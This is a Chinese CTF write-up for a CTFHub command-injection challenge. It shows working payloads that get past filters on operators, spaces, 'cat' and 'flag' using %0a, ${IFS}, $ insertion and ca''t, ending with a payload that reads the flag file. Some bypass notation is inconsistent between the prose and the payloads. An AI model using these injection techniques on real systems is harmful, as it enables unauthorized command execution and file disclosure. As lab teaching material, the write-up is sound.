点击此处获得更好的阅读体验
来自leenng
原创投稿
题目考点
命令注入
过滤运算符、过滤目录分隔符、过滤反斜杠、过滤空格、过滤封号、过滤cat、过滤关键字flag和ctfhub
解题思路
运算符过滤绕过
首先我们要使用ls列目录,发现这里过滤了运算符,绕过的方式有%0a
、%0d
、%0D%0A
,经测试这里可以使用%0a
1 | 127.0.0.1%0als |
发现目录flag_is_here
空格及关键词过滤绕过
我们使用ls flag_is_here
列出子目录的文件,免不了绕过空格和flag的顾虑,绕过空格前面已经有writeup中附带了相关技巧,我们这里使用${IFS}
绕过
绕过flag关键字,我们使用的方法也是多种多样,这里不一一列出了,经过尝试可以使用\(来绕过关键字过滤,如fl\)ag_is_here
1 | 127.0.0.1%0als${IFS}fl$*ag_is_here |
成功列出了flag文件,其名字为flag_230191972813921.php
接下来我们的思路就是cd进入目录,然后cat读取文件,命令之间使用%0a进行断开
cat过滤绕过
因为过滤了cat,我们这里使用单引号绕过过滤,如ca''t
构造payload
1 | 127.0.0.1%0acd${IFS}fl$ag_is_here%0aca''t${IFS}fl$a*g_230191972813921.php |